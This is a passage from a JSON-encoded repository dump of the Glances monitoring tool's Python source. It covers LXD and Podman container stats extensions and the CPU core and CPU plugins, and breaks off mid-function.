_get_io_stats(self, state) -> dict[str, Any]:\n        \"\"\"Return disk IO stats.\n\n        LXD only exposes cumulative disk usage per device, not separate read/write.\n        \"\"\"\n        stats = {}\n        try:\n            if state.disk and \"root\" in state.disk:\n                cumulative_disk = state.disk[\"root\"].get(\"usage\", 0)\n                stats[\"cumulative_ior\"] = cumulative_disk\n                stats[\"cumulative_iow\"] = 0\n\n                old_io = self._old_computed_stats.get(\"io\", {})\n                if \"cumulative_ior\" in old_io:\n                    stats[\"time_since_update\"] = round(self.time_since_update)\n                    stats[\"ior\"] = max(0, cumulative_disk - old_io[\"cumulative_ior\"])\n                    stats[\"iow\"] = 0\n        except (KeyError, TypeError) as e:\n            logger.debug(f\"containers (LXD) Instance({self._instance.name}): Can't grab IO stats ({e})\")\n        return stats\n\n    def _get_network_stats(self, state) -> dict[str, Any]:\n        \"\"\"Return network usage stats.\n\n        Sums counters across all non-loopback interfaces.\n        \"\"\"\n        stats = {}\n        try:\n            if state.network:\n                cumulative_rx = 0\n                cumulative_tx = 0\n                for iface in state.network.values():\n                    if iface.get(\"type\") == \"loopback\":\n                        continue\n                    counters = iface.get(\"counters\", {})\n                    cumulative_rx += counters.get(\"bytes_received\", 0)\n                    cumulative_tx += counters.get(\"bytes_sent\", 0)\n\n                stats[\"cumulative_rx\"] = cumulative_rx\n                stats[\"cumulative_tx\"] = cumulative_tx\n\n                old_net = self._old_computed_stats.get(\"network\", {})\n                if \"cumulative_rx\" in old_net:\n                    stats[\"time_since_update\"] = round(self.time_since_update)\n                    stats[\"rx\"] = max(0, cumulative_rx - old_net[\"cumulative_rx\"])\n                    stats[\"tx\"] = max(0, cumulative_tx - old_net[\"cumulative_tx\"])\n        except (KeyError, TypeError) as e:\n            logger.debug(f\"containers (LXD) Instance({self._instance.name}): Can't grab NET stats ({e})\")\n        return stats\n\n\nclass LxdExtension:\n    \"\"\"Glances' Containers Plugin's LXD Extension unit\"\"\"\n\n    CONTAINER_ACTIVE_STATUS = ['Running']\n\n    def __init__(self, endpoint=None, poll_interval=2):\n        self.disable = disable_plugin_lxd\n        if self.disable:\n            raise Exception(\"Missing libs required to run LXD Extension (Containers)\")\n\n        self.display_error = True\n        self.client = None\n        self.ext_name = \"containers (LXD)\"\n        self.endpoint = endpoint\n        self.poll_interval = poll_interval\n        self.stats_fetchers = {}\n        self.local_node = None\n\n        self.connect()\n\n    def connect(self) -> None:\n        \"\"\"Connect to the LXD server.\"\"\"\n        try:\n            if self.endpoint:\n                self.client = LxdClient(endpoint=self.endpoint)\n            else:\n                self.client = LxdClient()\n            # Verify connectivity\n            self.client.has_api_extension('instances')\n            # Determine local cluster member name (for filtering)\n            try:\n                env = self.client.host_info.get('environment', {})\n                self.local_node = env.get('server_name')\n            except Exception:\n                self.local_node = None\n        except Exception as e:\n            logger.debug(f\"{self.ext_name} plugin - Can't connect to LXD ({e})\")\n            self.client = None\n            self.disable = True\n\n    def stop(self) -> None:\n        for t in self.stats_fetchers.values():\n            t.stop()\n\n    def update(self, all_tag) -> tuple[dict, list[dict[str, Any]]]:\n        \"\"\"Update LXD stats using the input method.\"\"\"\n        if not self.client or self.disable:\n            return {}, []\n\n        # List instances\n        try:\n            instances = self.client.instances.all()\n            # In a cluster, only show instances running on this node\n            if self.local_node:\n                instances = [i for i in instances if getattr(i, 'location', None) == self.local_node]\n            if not all_tag:\n                instances = [i for i in instances if i.status in self.CONTAINER_ACTIVE_STATUS]\n            self.display_error = True\n        except Exception as e:\n            if self.display_error:\n                logger.error(f\"{self.ext_name} plugin - Can't get instances list ({e})\")\n                self.display_error = False\n            else:\n                logger.debug(f\"{self.ext_name} plugin - Can't get instances list ({e})\")\n            return {}, []\n\n        # Start new fetcher threads for new instances\n        for instance in instances:\n            if instance.name not in self.stats_fetchers:\n                logger.debug(f\"{self.ext_name} plugin - Create thread for instance {instance.name}\")\n                self.stats_fetchers[instance.name] = LxdStatsFetcher(instance, poll_interval=self.poll_interval)\n\n        # Stop threads for removed instances\n        current_names = {i.name for i in instances}\n        absent = set(self.stats_fetchers.keys()) - current_names\n        for name in absent:\n            logger.debug(f\"{self.ext_name} plugin - Stop thread for old instance {name}\")\n            self.stats_fetchers[name].stop()\n            del self.stats_fetchers[name]\n\n        # Generate stats\n        container_stats = [self.generate_stats(instance) for instance in instances]\n        return {}, container_stats\n\n    @property\n    def key(self) -> str:\n        return 'name'\n\n    def generate_stats(self, instance) -> dict[str, Any]:\n        stats = {\n            'key': self.key,\n            'name': nativestr(instance.name),\n            'id': instance.name,\n            'image': instance.config.get('image.description', ''),\n            'status': instance.status.lower(),\n            'created': instance.created_at,\n            'command': None,\n            'io': {},\n            'cpu': {},\n            'memory': {},\n            'network': {},\n            'io_rx': None,\n            'io_wx': None,\n            'cpu_percent': None,\n            'memory_percent': None,\n            'network_rx': None,\n            'network_tx': None,\n            'ports': '',\n            'uptime': None,\n        }\n\n        if instance.status not in self.CONTAINER_ACTIVE_STATUS:\n            return stats\n\n        if instance.name not in self.stats_fetchers:\n            return stats\n\n        stats_fetcher = self.stats_fetchers[instance.name]\n        activity_stats = stats_fetcher.activity_stats\n        stats.update(activity_stats)\n\n        # Additional fields\n        stats['cpu_percent'] = stats['cpu'].get('total')\n        stats['memory_usage'] = stats['memory'].get('usage')\n        stats['memory_inactive_file'] = stats['memory'].get('inactive_file')\n        stats['memory_limit'] = stats['memory'].get('limit')\n\n        if all(k in stats['io'] for k in ('ior', 'iow', 'time_since_update')):\n            stats['io_rx'] = stats['io']['ior'] // max(1, stats['io']['time_since_update'])\n            stats['io_wx'] = stats['io']['iow'] // max(1, stats['io']['time_since_update'])\n\n        if all(k in stats['network'] for k in ('rx', 'tx', 'time_since_update')):\n            stats['network_rx'] = stats['network']['rx'] // max(1, stats['network']['time_since_update'])\n            stats['network_tx'] = stats['network']['tx'] // max(1, stats['network']['time_since_update'])\n\n        # Ports from proxy devices (e.g. listen=tcp:0.0.0.0:80 connect=tcp:127.0.0.1:80)\n        try:\n            devices = instance.expanded_devices or {}\n            port_list = []\n            for dev in devices.values():\n                if dev.get('type') != 'proxy':\n                    continue\n                listen = dev.get('listen', '')\n                connect = dev.get('connect', '')\n                # Extract port from \"tcp:0.0.0.0:80\" format\n                listen_port = listen.rsplit(':', 1)[-1] if listen else ''\n                connect_port = connect.rsplit(':', 1)[-1] if connect else ''\n                if listen_port:\n                    proto = listen.split(':')[0] if ':' in listen else 'tcp'\n                    port_list.append(f\"{listen_port}->{connect_port}/{proto}\")\n            if port_list:\n                stats['ports'] = ','.join(port_list)\n        except (AttributeError, TypeError) as e:\n            logger.debug(f\"{self.ext_name} plugin - Can't get ports for {instance.name} ({e})\")\n\n        # Uptime from last_used_at\n        try:\n            last_used = instance.last_used_at\n            if last_used and last_used != '1970-01-01T00:00:00Z':\n                started = datetime.fromisoformat(last_used.replace('Z', '+00:00')).replace(tzinfo=None)\n                stats['uptime'] = pretty_date(started)\n        except (ValueError, AttributeError) as e:\n            logger.debug(f\"{self.ext_name} plugin - Can't compute uptime for {instance.name} ({e})\")\n\n        return stats\n"
  },
  {
    "path": "glances/plugins/containers/engines/podman.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n\n\"\"\"Podman Extension unit for Glances' Containers plugin.\"\"\"\n\nimport time\nfrom datetime import datetime\nfrom typing import Any\n\nfrom glances.globals import nativestr, pretty_date, replace_special_chars, string_value_to_float\nfrom glances.logger import logger\nfrom glances.stats_streamer import ThreadedIterableStreamer\n\n# Podman library (optional and Linux-only)\n# https://pypi.org/project/podman/\ntry:\n    from podman import PodmanClient\nexcept Exception as e:\n    disable_plugin_podman = True\n    # Display debug message if import KeyError\n    logger.warning(f\"Error loading Podman deps Lib. Podman feature in the Containers plugin is disabled ({e})\")\nelse:\n    disable_plugin_podman = False\n\n\nclass PodmanContainerStatsFetcher:\n    MANDATORY_FIELDS = [\"CPU\", \"MemUsage\", \"MemLimit\", \"BlockInput\", \"BlockOutput\"]\n\n    def __init__(self, container):\n        self._container = container\n\n        # Previous stats are stored in the self._old_computed_stats variable\n        # We store time data to enable rate calculations to avoid complexity for consumers of the APIs exposed.\n        self._old_computed_stats = {}\n\n        # Last time when output stats (results) were computed\n        self._last_stats_computed_time = 0\n\n        # Threaded Streamer\n        stats_iterable = container.stats(decode=True)\n        self._streamer = ThreadedIterableStreamer(stats_iterable, initial_stream_value={})\n\n    def stop(self):\n        self._streamer.stop()\n\n    def get_streamed_stats(self) -> dict[str, Any]:\n        stats = self._streamer.stats\n        if stats is None or stats.get(\"Error\", False):\n            logger.error(f\"containers (Podman) Container({self._container.id}): Stats fetching failed\")\n            logger.debug(f\"containers (Podman) Container({self._container.id}): \", stats)\n            return None\n\n        return stats[\"Stats\"][0]\n\n    @property\n    def activity_stats(self) -> dict[str, Any]:\n        \"\"\"Activity Stats\n\n        Each successive access of activity_stats will cause computation of activity_stats\n        \"\"\"\n        computed_activity_stats = self._compute_activity_stats()\n        self._old_computed_stats = computed_activity_stats\n        self._last_stats_computed_time = time.time()\n        return computed_activity_stats\n\n    def _compute_activity_stats(self) -> dict[str, dict[str, Any]]:\n        stats = {\"cpu\": {}, \"memory\": {}, \"io\": {}, \"network\": {}}\n        api_stats = self.get_streamed_stats()\n\n        # Glances breaks if Podman container is started while it is running See #3199\n        if api_stats is None:\n            # If stats fetching failed, return empty stats\n            logger.error(f\"containers (Podman) Container({self._container.id}): Failed to fetch stats\")\n            return stats\n\n        if any(field not in api_stats for field in self.MANDATORY_FIELDS) or (\n            \"Network\" not in api_stats and any(k not in api_stats for k in ['NetInput', 'NetOutput'])\n        ):\n            logger.error(f\"containers (Podman) Container({self._container.id}): Missing mandatory fields\")\n            return stats\n\n        try:\n            stats[\"cpu\"][\"total\"] = api_stats['CPU']\n\n            stats[\"memory\"][\"usage\"] = api_stats[\"MemUsage\"]\n            stats[\"memory\"][\"limit\"] = api_stats[\"MemLimit\"]\n\n            stats[\"io\"][\"ior\"] = api_stats[\"BlockInput\"]\n            stats[\"io\"][\"iow\"] = api_stats[\"BlockOutput\"]\n            stats[\"io\"][\"time_since_update\"] = 1\n            # Hardcode `time_since_update` to 1 as podman already sends at the same fixed rate per second\n\n            if \"Network\" not in api_stats:\n                # For podman rooted mode\n                stats[\"network\"]['rx'] = api_stats[\"NetInput\"]\n                stats[\"network\"]['tx'] = api_stats[\"NetOutput\"]\n                stats[\"network\"]['time_since_update'] = 1\n                # Hardcode to 1 as podman already sends at the same fixed rate per second\n            elif api_stats[\"Network\"] is not None:\n                # api_stats[\"Network\"] can be None if the infra container of the pod is killed\n                # For podman in rootless mode\n                stats['network'] = {\n                    \"cumulative_rx\": sum(interface[\"RxBytes\"] for interface in api_stats[\"Network\"].values()),\n                    \"cumulative_tx\": sum(interface[\"TxBytes\"] for interface in api_stats[\"Network\"].values()),\n                }\n                # Using previous stats to calculate rates\n                old_network_stats = self._old_computed_stats.get(\"network\")\n                if old_network_stats:\n                    stats['network']['time_since_update'] = round(self.time_since_update)\n                    stats['network']['rx'] = stats['network']['cumulative_rx'] - old_network_stats[\"cumulative_rx\"]\n                    stats['network']['tx'] = stats['network']['cumulative_tx'] - old_network_stats['cumulative_tx']\n\n        except ValueError as e:\n            logger.error(f\"containers (Podman) Container({self._container.id}): Non float stats values found\", e)\n\n        return stats\n\n    @property\n    def time_since_update(self) -> float:\n        # In case no update (at startup), default to 1\n        return max(1, self._streamer.last_update_time - self._last_stats_computed_time)\n\n\nclass PodmanPodStatsFetcher:\n    def __init__(self, pod_manager):\n        self._pod_manager = pod_manager\n\n        # Threaded Streamer\n        # Temporary patch to get podman extension working\n        stats_iterable = (pod_manager.stats(decode=True) for _ in iter(int, 1))\n        self._streamer = ThreadedIterableStreamer(stats_iterable, initial_stream_value={}, sleep_duration=2)\n\n    def _log_debug(self, msg, exception=None):\n        logger.debug(f\"containers (Podman): Pod Manager - {msg} ({exception})\")\n        logger.debug(self._streamer.stats)\n\n    def stop(self):\n        self._streamer.stop()\n\n    @property\n    def activity_stats(self):\n        result_stats = {}\n        container_stats = self._streamer.stats\n        for stat in container_stats:\n            io_stats = self._get_io_stats(stat)\n            cpu_stats = self._get_cpu_stats(stat)\n            memory_stats = self._get_memory_stats(stat)\n            network_stats = self._get_network_stats(stat)\n\n            computed_stats = {\n                \"name\": stat[\"Name\"],\n                \"cid\": stat[\"CID\"],\n                \"pod_id\": stat[\"Pod\"],\n                \"io\": io_stats or {},\n                \"memory\": memory_stats or {},\n                \"network\": network_stats or {},\n                \"cpu\": cpu_stats or {},\n            }\n            result_stats[stat[\"CID\"]] = computed_stats\n\n        return result_stats\n\n    def _get_cpu_stats(self, stats: dict) -> dict | None:\n        \"\"\"Return the container CPU usage.\n\n        Output: a dict {'total': 1.49}\n        \"\"\"\n        if \"CPU\" not in stats:\n            self._log_debug(\"Missing CPU usage fields\")\n            return None\n\n        cpu_usage = string_value_to_float(stats[\"CPU\"].rstrip(\"%\"))\n        return {\"total\": cpu_usage}\n\n    def _get_memory_stats(self, stats) -> dict | None:\n        \"\"\"Return the container MEMORY.\n\n        Output: a dict {'usage': ..., 'limit': ...}\n        \"\"\"\n        if \"MemUsage\" not in stats or \"/\" not in stats[\"MemUsage\"]:\n            self._log_debug(\"Missing MEM usage fields\")\n            return None\n\n        memory_usage_str = stats[\"MemUsage\"]\n        usage_str, limit_str = memory_usage_str.split(\"/\")\n\n        try:\n            usage = string_value_to_float(usage_str)\n            limit = string_value_to_float(limit_str)\n        except ValueError as e:\n            self._log_debug(\"Compute MEM usage failed\", e)\n            return None\n\n        return {'usage': usage, 'limit': limit, 'inactive_file': 0}\n\n    def _get_network_stats(self, stats) -> dict | None:\n        \"\"\"Return the container network usage using the Docker API (v1.0 or higher).\n\n        Output: a dict {'time_since_update': 3000, 'rx': 10, 'tx': 65}.\n        with:\n            time_since_update: number of seconds elapsed between the latest grab\n            rx: Number of bytes received\n            tx: Number of bytes transmitted\n        \"\"\"\n        if \"NetIO\" not in stats or \"/\" not in stats[\"NetIO\"]:\n            self._log_debug(\"Compute MEM usage failed\")\n            return None\n\n        net_io_str = stats[\"NetIO\"]\n        rx_str, tx_str = net_io_str.split(\"/\")\n\n        try:\n            rx = string_value_to_float(rx_str)\n            tx = string_value_to_float(tx_str)\n        except ValueError as e:\n            self._log_debug(\"Compute MEM usage failed\", e)\n            return None\n\n        # Hardcode `time_since_update` to 1 as podman docs don't specify the rate calculation procedure\n        return {\"rx\": rx, \"tx\": tx, \"time_since_update\": 1}\n\n    def _get_io_stats(self, stats) -> dict | None:\n        \"\"\"Return the container IO usage using the Docker API (v1.0 or higher).\n\n        Output: a dict {'time_since_update': 3000, 'ior': 10, 'iow': 65}.\n        with:\n            time_since_update: number of seconds elapsed between the latest grab\n            ior: Number of bytes read\n            iow: Number of bytes written\n        \"\"\"\n        if \"BlockIO\" not in stats or \"/\" not in stats[\"BlockIO\"]:\n            self._log_debug(\"Missing BlockIO usage fields\")\n            return None\n\n        block_io_str = stats[\"BlockIO\"]\n        ior_str, iow_str = block_io_str.split(\"/\")\n\n        try:\n            ior = string_value_to_float(ior_str)\n            iow = string_value_to_float(iow_str)\n        except ValueError as e:\n            self._log_debug(\"Compute BlockIO usage failed\", e)\n            return None\n\n        # Hardcode `time_since_update` to 1 as podman docs don't specify the rate calculation procedure\n        return {\"ior\": ior, \"iow\": iow, \"time_since_update\": 1}\n\n\nclass PodmanExtension:\n    \"\"\"Glances' Containers Plugin's Docker Extension unit\"\"\"\n\n    CONTAINER_ACTIVE_STATUS = ['running', 'healthy', 'paused']\n\n    def __init__(self, podman_sock):\n        self.disable = disable_plugin_podman\n        if self.disable:\n            raise Exception(\"Missing libs required to run Podman Extension (Containers)\")\n\n        self.display_error = True\n\n        self.client = None\n        self.ext_name = \"containers (Podman)\"\n        self.podman_sock = podman_sock\n        self.pods_stats_fetcher = None\n        self.container_stats_fetchers = {}\n\n        self.connect()\n\n    def connect(self):\n        \"\"\"Connect to Podman.\"\"\"\n        try:\n            self.client = PodmanClient(base_url=self.podman_sock)\n            # PodmanClient works lazily, so make a ping to determine if socket is open\n            self.client.ping()\n        except Exception as e:\n            logger.debug(f\"{self.ext_name} plugin - Can't connect to Podman ({e})\")\n            self.client = None\n            self.disable = True\n\n    def update_version(self):\n        # Long and not useful anymore because the information is no more displayed in UIs\n        # return self.client.version()\n        return {}\n\n    def stop(self) -> None:\n        # Stop all streaming threads\n        for t in self.container_stats_fetchers.values():\n            t.stop()\n\n        if self.pods_stats_fetcher:\n            self.pods_stats_fetcher.stop()\n\n    def update(self, all_tag) -> tuple[dict, list[dict[str, Any]]]:\n        \"\"\"Update Podman stats using the input method.\"\"\"\n\n        if not self.client or self.disable:\n            return {}, []\n\n        version_stats = self.update_version()\n\n        # Update current containers list\n        try:\n            # Issue #1152: Podman module doesn't export details about stopped containers\n            # The Containers/all key of the configuration file should be set to True\n            containers = self.client.containers.list(all=all_tag)\n            if not self.pods_stats_fetcher:\n                self.pods_stats_fetcher = PodmanPodStatsFetcher(self.client.pods)\n            self.display_error = True\n        except Exception as e:\n            if self.display_error:\n                logger.error(f\"{self.ext_name} plugin - Can't get containers list ({e})\")\n                self.display_error = False\n            else:\n                logger.debug(f\"{self.ext_name} plugin - Can't get containers list ({e})\")\n            return version_stats, []\n\n        # Start new thread for new container\n        for container in containers:\n            if container.id not in self.container_stats_fetchers:\n                # StatsFetcher did not exist in the internal dict\n                # Create it, add it to the internal dict\n                logger.debug(f\"{self.ext_name} plugin - Create thread for container {container.id[:12]}\")\n                self.container_stats_fetchers[container.id] = PodmanContainerStatsFetcher(container)\n\n        # Stop threads for non-existing containers\n        absent_containers = set(self.container_stats_fetchers.keys()) - {c.id for c in containers}\n        for container_id in absent_containers:\n            # Stop the StatsFetcher\n            logger.debug(f\"{self.ext_name} plugin - Stop thread for old container {container_id[:12]}\")\n            self.container_stats_fetchers[container_id].stop()\n            # Delete the StatsFetcher from the dict\n            del self.container_stats_fetchers[container_id]\n\n        # Get stats for all containers\n        container_stats = [self.generate_stats(container) for container in containers]\n\n        pod_stats = self.pods_stats_fetcher.activity_stats\n        for stats in container_stats:\n            if stats[\"id\"][:12] in pod_stats:\n                stats[\"pod_name\"] = pod_stats[stats[\"id\"][:12]][\"name\"]\n                stats[\"pod_id\"] = pod_stats[stats[\"id\"][:12]][\"pod_id\"]\n\n        return version_stats, container_stats\n\n    @property\n    def key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def generate_stats(self, container) -> dict[str, Any]:\n        # Init the stats for the current container\n        stats = {\n            'key': self.key,\n            'name': nativestr(container.name),\n            'id': container.id,\n            'image': ','.join(container.image.tags if container.image.tags else []),\n            'status': container.attrs['State'],\n            'created': container.attrs['Created'],\n            'command': container.attrs.get('Command') or [],\n            'io': {},\n            'cpu': {},\n            'memory': {},\n            'network': {},\n            'io_rx': None,\n            'io_wx': None,\n            'cpu_percent': None,\n            'memory_percent': None,\n            'network_rx': None,\n            'network_tx': None,\n            'ports': '',\n            'uptime': None,\n        }\n\n        if stats['status'] not in self.CONTAINER_ACTIVE_STATUS:\n            return stats\n\n        stats_fetcher = self.container_stats_fetchers[container.id]\n        activity_stats = stats_fetcher.activity_stats\n        stats.update(activity_stats)\n\n        # Additional fields\n        stats['cpu_percent'] = stats['cpu'].get('total')\n        stats['memory_usage'] = stats['memory'].get('usage')\n        if stats['memory'].get('cache') is not None:\n            stats['memory_usage'] -= stats['memory']['cache']\n        stats['memory_inactive_file'] = stats['memory'].get('inactive_file')\n        stats['memory_limit'] = stats['memory'].get('limit')\n\n        if all(k in stats['io'] for k in ('ior', 'iow', 'time_since_update')):\n            stats['io_rx'] = stats['io']['ior'] // stats['io']['time_since_update']\n            stats['io_wx'] = stats['io']['iow'] // stats['io']['time_since_update']\n\n        if all(k in stats['network'] for k in ('rx', 'tx', 'time_since_update')):\n            stats['network_rx'] = stats['network']['rx'] // stats['network']['time_since_update']\n            stats['network_tx'] = stats['network']['tx'] // stats['network']['time_since_update']\n\n        started_at = datetime.fromtimestamp(container.attrs['StartedAt'])\n        stats['uptime'] = pretty_date(started_at)\n\n        # Manage special chars in command (see issue#2733)\n        stats['command'] = replace_special_chars(' '.join(stats['command']))\n\n        # Manage ports (see issue#2054)\n        if hasattr(container, 'ports'):\n            stats['ports'] = ','.join(\n                [\n                    f'{container.ports[cp][0][\"HostPort\"]}->{cp}' if container.ports[cp] else f'{cp}'\n                    for cp in container.ports\n                ]\n            )\n\n        return stats\n"
  },
  {
    "path": "glances/plugins/core/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"CPU core plugin.\"\"\"\n\nimport psutil\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\nfields_description = {\n    'phys': {'description': 'Number of physical cores (hyper thread CPUs are excluded).', 'unit': 'number'},\n    'log': {\n        'description': 'Number of logical CPU cores. A logical CPU is the number of \\\nphysical cores multiplied by the number of threads that can run on each core.',\n        'unit': 'number',\n    },\n}\n\n\nclass CorePlugin(GlancesPluginModel):\n    \"\"\"Glances CPU core plugin.\n\n    Get stats about CPU core number.\n\n    stats is integer (number of core)\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, fields_description=fields_description)\n\n        # We dot not want to display the stat in the curse interface\n        # The core number is displayed by the load plugin\n        self.display_curse = False\n\n    # Do *NOT* uncomment the following line\n    # @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update core stats.\n\n        Stats is a dict (with both physical and log cpu number) instead of a integer.\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n\n            # The psutil 2.0 include psutil.cpu_count() and psutil.cpu_count(logical=False)\n            # Return a dict with:\n            # - phys: physical cores only (hyper thread CPUs are excluded)\n            # - log: logical CPUs in the system\n            # Return None if undefined\n            try:\n                stats[\"phys\"] = psutil.cpu_count(logical=False)\n                stats[\"log\"] = psutil.cpu_count()\n            except NameError:\n                self.reset()\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            # http://stackoverflow.com/questions/5662467/how-to-find-out-the-number-of-cpus-using-snmp\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n"
  },
  {
    "path": "glances/plugins/cpu/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"CPU plugin.\"\"\"\n\nimport psutil\n\nfrom glances.cpu_percent import cpu_percent\nfrom glances.globals import LINUX, MACOS\nfrom glances.plugins.core import CorePlugin\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# https://github.com/nicolargo/glances/wiki/How-to-create-a-new-plugin-%3F#create-the-plugin-script\nfields_description = {\n    'total': {'description': 'Sum of all CPU percentages (except idle).', 'unit': 'percent', 'log': True, 'mmm': True},\n    'system': {\n        'description': 'Percent time spent in kernel space. System CPU time is the \\\ntime spent running code in the Operating System kernel.',\n        'unit': 'percent',\n        'log': True,\n    },\n    'user': {\n        'description': 'CPU percent time spent in user space. \\\nUser CPU time is the time spent on the processor running your program\\'s code (or code in libraries).',\n        'unit': 'percent',\n        'log': True,\n    },\n    'iowait': {\n        'description': '*(Linux)*: percent time spent by the CPU waiting for I/O \\\noperations to complete.',\n        'unit': 'percent',\n        'log': True,\n    },\n    'dpc': {\n        'description': '*(Windows)*: time spent servicing deferred procedure calls (DPCs)',\n        'unit': 'percent',\n        'log': True,\n    },\n    'idle': {\n        'description': 'percent of CPU used by any program. Every program or task \\\nthat runs on a computer system occupies a certain amount of processing \\\ntime on the CPU. If the CPU has completed all tasks it is idle.',\n        'unit': 'percent',\n        'optional': True,\n    },\n    'irq': {\n        'description': '*(Linux and BSD)*: percent time spent servicing/handling \\\nhardware/software interrupts. Time servicing interrupts (hardware + \\\nsoftware).',\n        'unit': 'percent',\n        'optional': True,\n    },\n    'nice': {\n        'description': '*(Unix)*: percent time occupied by user level processes with \\\na positive nice value. The time the CPU has spent running users\\' \\\nprocesses that have been *niced*.',\n        'unit': 'percent',\n        'optional': True,\n    },\n    'steal': {\n        'description': '*(Linux)*: percentage of time a virtual CPU waits for a real \\\nCPU while the hypervisor is servicing another virtual processor.',\n        'unit': 'percent',\n        'alert': True,\n        'optional': True,\n    },\n    'guest': {\n        'description': '*(Linux)*: time spent running a virtual CPU for guest operating \\\nsystems under the control of the Linux kernel.',\n        'unit': 'percent',\n        'optional': True,\n    },\n    'ctx_switches': {\n        'description': 'number of context switches (voluntary + involuntary) per \\\nsecond. A context switch is a procedure that a computer\\'s CPU (central \\\nprocessing unit) follows to change from one task (or process) to \\\nanother while ensuring that the tasks do not conflict.',\n        'unit': 'number',\n        'rate': True,\n        'min_symbol': 'K',\n        'short_name': 'ctx_sw',\n        'optional': True,\n    },\n    'interrupts': {\n        'description': 'number of interrupts per second.',\n        'unit': 'number',\n        'rate': True,\n        'min_symbol': 'K',\n        'short_name': 'inter',\n        'optional': True,\n    },\n    'soft_interrupts': {\n        'description': 'number of software interrupts per second. Always set to \\\n0 on Windows and SunOS.',\n        'unit': 'number',\n        'rate': True,\n        'min_symbol': 'K',\n        'short_name': 'sw_int',\n        'optional': True,\n    },\n    'syscalls': {\n        'description': 'number of system calls per second. Always 0 on Linux OS.',\n        'unit': 'number',\n        'rate': True,\n        'min_symbol': 'K',\n        'short_name': 'sys_call',\n        'optional': True,\n    },\n    'cpucore': {'description': 'Total number of CPU core.', 'unit': 'number'},\n    'time_since_update': {'description': 'Number of seconds since last update.', 'unit': 'seconds'},\n}\n\n# SNMP OID\n# percentage of user CPU time: .1.3.6.1.4.1.2021.11.9.0\n# percentages of system CPU time: .1.3.6.1.4.1.2021.11.10.0\n# percentages of idle CPU time: .1.3.6.1.4.1.2021.11.11.0\nsnmp_oid = {\n    'default': {\n        'user': '1.3.6.1.4.1.2021.11.9.0',\n        'system': '1.3.6.1.4.1.2021.11.10.0',\n        'idle': '1.3.6.1.4.1.2021.11.11.0',\n    },\n    'windows': {'percent': '1.3.6.1.2.1.25.3.3.1.2'},\n    'esxi': {'percent': '1.3.6.1.2.1.25.3.3.1.2'},\n    'netapp': {\n        'system': '1.3.6.1.4.1.789.1.2.1.3.0',\n        'idle': '1.3.6.1.4.1.789.1.2.1.5.0',\n        'cpucore': '1.3.6.1.4.1.789.1.2.1.6.0',\n    },\n}\n\n# Define the history items list\n# - 'name' define the stat identifier\n# - 'y_unit' define the Y label\nitems_history_list = [\n    {'name': 'user', 'description': 'User CPU usage', 'y_unit': '%'},\n    {'name': 'system', 'description': 'System CPU usage', 'y_unit': '%'},\n]\n\n\nclass CpuPlugin(GlancesPluginModel):\n    \"\"\"Glances CPU plugin.\n\n    'stats' is a dictionary that contains the system-wide CPU utilization as a\n    percentage.\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the CPU plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Call CorePlugin in order to display the core number\n        try:\n            self.nb_log_core = CorePlugin(args=self.args).update()[\"log\"]\n        except Exception:\n            self.nb_log_core = 1\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update CPU stats using the input method.\"\"\"\n        # Grab stats into self.stats\n        if self.input_method == 'local':\n            stats = self.update_local()\n        elif self.input_method == 'snmp':\n            stats = self.update_snmp()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    @GlancesPluginModel._manage_rate\n    def update_local(self):\n        \"\"\"Update CPU stats using psutil.\"\"\"\n        # Grab CPU stats using psutil's cpu_percent and cpu_times_percent\n        # Get all possible values for CPU stats: user, system, idle,\n        # nice (UNIX), iowait (Linux), irq (Linux, FreeBSD), steal (Linux 2.6.11+)\n        # The following stats are returned by the API but not displayed in the UI:\n        # softirq (Linux), guest (Linux 2.6.24+), guest_nice (Linux 3.2.0+)\n\n        # Init new stats\n        stats = self.get_init_value()\n\n        stats['total'] = cpu_percent.get_cpu()\n\n        # Standards stats\n        # - user: time spent by normal processes executing in user mode; on Linux this also includes guest time\n        # - system: time spent by processes executing in kernel mode\n        # - idle: time spent doing nothing\n        # - nice (UNIX): time spent by niced (prioritized) processes executing in user mode\n        #                on Linux this also includes guest_nice time\n        # - iowait (Linux): time spent waiting for I/O to complete.\n        #                   This is not accounted in idle time counter.\n        # - irq (Linux, BSD): time spent for servicing hardware interrupts\n        # - softirq (Linux): time spent for servicing software interrupts\n        # - steal (Linux 2.6.11+): time spent by other operating systems running in a virtualized environment\n        # - guest (Linux 2.6.24+): time spent running a virtual CPU for guest operating systems under\n        #                          the control of the Linux kernel\n        # - guest_nice (Linux 3.2.0+): time spent running a niced guest (virtual CPU for guest operating systems\n        #                              under the control of the Linux kernel)\n        # - interrupt (Windows): time spent for servicing hardware interrupts ( similar to “irq” on UNIX)\n        # - dpc (Windows): time spent servicing deferred procedure calls (DPCs)\n        cpu_times_percent = psutil.cpu_times_percent(interval=0.0)\n        # Filter stats to keep only the fields we want (define in fields_description)\n        # It will also convert psutil objects to a standard Python dict\n        